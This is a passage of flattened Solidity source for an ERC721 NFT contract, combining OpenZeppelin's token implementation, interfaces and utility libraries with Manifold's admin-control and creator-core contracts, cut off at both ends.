"./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping (uint256 => address) private _owners; // Mapping owner address to token count mapping (address => uint256) private _balances; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. Empty by default, can be overriden * in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { // solhint-disable-next-line no-inline-assembly assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "./IAdminControl.sol"; abstract contract AdminControl is Ownable, IAdminControl, ERC165 { using EnumerableSet for EnumerableSet.AddressSet; // Track registered admins EnumerableSet.AddressSet private _admins; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IAdminControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Only allows approved admins to call the specified function */ modifier adminRequired() { require(owner() == msg.sender || _admins.contains(msg.sender), "AdminControl: Must be owner or admin"); _; } /** * @dev See {IAdminControl-getAdmins}. */ function getAdmins() external view override returns (address[] memory admins) { admins = new address[](_admins.length()); for (uint i = 0; i < _admins.length(); i++) { admins[i] = _admins.at(i); } return admins; } /** * @dev See {IAdminControl-approveAdmin}. */ function approveAdmin(address admin) external override onlyOwner { if (!_admins.contains(admin)) { emit AdminApproved(admin, msg.sender); _admins.add(admin); } } /** * @dev See {IAdminControl-revokeAdmin}. */ function revokeAdmin(address admin) external override onlyOwner { if (_admins.contains(admin)) { emit AdminRevoked(admin, msg.sender); _admins.remove(admin); } } /** * @dev See {IAdminControl-isAdmin}. */ function isAdmin(address admin) public override view returns (bool) { return (owner() == admin || _admins.contains(admin)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; import "../extensions/IERC721CreatorExtensionApproveTransfer.sol"; import "../extensions/IERC721CreatorExtensionBurnable.sol"; import "../permissions/IERC721CreatorMintPermissions.sol"; import "./IERC721CreatorCore.sol"; import "./CreatorCore.sol"; /** * @dev Core ERC721 creator implementation */ abstract contract ERC721CreatorCore is CreatorCore, IERC721CreatorCore { using EnumerableSet for EnumerableSet.AddressSet; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(CreatorCore, IERC165) returns (bool) { return interfaceId == type(IERC721CreatorCore).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {ICreatorCore-setApproveTransferExtension}. */ function setApproveTransferExtension(bool enabled) external override extensionRequired { require(!enabled || ERC165Checker.supportsInterface(msg.sender, type(IERC721CreatorExtensionApproveTransfer).interfaceId), "ERC721CreatorCore: Requires extension to implement IERC721CreatorExtensionApproveTransfer"); if (_extensionApproveTransfers[msg.sender] != enabled) { _extensionApproveTransfers[msg.sender] = enabled; emit ExtensionApproveTransferUpdated(msg.sender, enabled); } } /** * @dev Set mint permissions for an extension */ function _setMintPermissions(address extension, address permissions) internal { require(_extensions.contains(extension), "CreatorCore: Invalid extension"); require(permissions == address(0x0) || ERC165Checker.supportsInterface(permissions, type(IERC721CreatorMintPermissions).interfaceId), "ERC721CreatorCore: Invalid address"); if (_extensionPermissions[extension] != permissions) { _extensionPermissions[extension] = permissions; emit MintPermissionsUpdated(extension, permissions, msg.sender); } } /** * Check if an extension can mint */ function _checkMintPermissions(address to, uint256 tokenId) internal { if (_extensionPermissions[msg.sender] != address(0x0)) { IERC721CreatorMintPermissions(_extensionPermissions[msg.sender]).approveMint(msg.sender, to, tokenId); } } /** * Override for post mint actions */ function _postMintBase(address, uint256) internal virtual {} /** * Override for post mint actions */ function _postMintExtension(address, uint256) internal virtual {} /** * Post-burning callback and metadata cleanup */ function _postBurn(address owner, uint256 tokenId) internal virtual { // Callback to originating extension if needed if (_tokensExtension[tokenId] != address(this)) { if (ERC165Checker.supportsInterface(_tokensExtension[tokenId], type(IERC721CreatorExtensionBurnable).interfaceId)) { IERC721CreatorExtensionBurnable(_tokensExtension[tokenId]).onBurn(owner, tokenId); } } // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } // Delete token origin extension tracking delete _tokensExtension[tokenId]; } /** * Approve a transfer */ function _approveTransfer(address from, address to, uint256 tokenId) internal { if (_extensionApproveTransfers[_tokensExtension[tokenId]]) { require(IERC721CreatorExtensionApproveTransfer(_tokensExtension[tokenId]).approveTransfer(from, to, tokenId), "ERC721Creator: Extension approval failure"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant alphabet = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = alphabet[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the 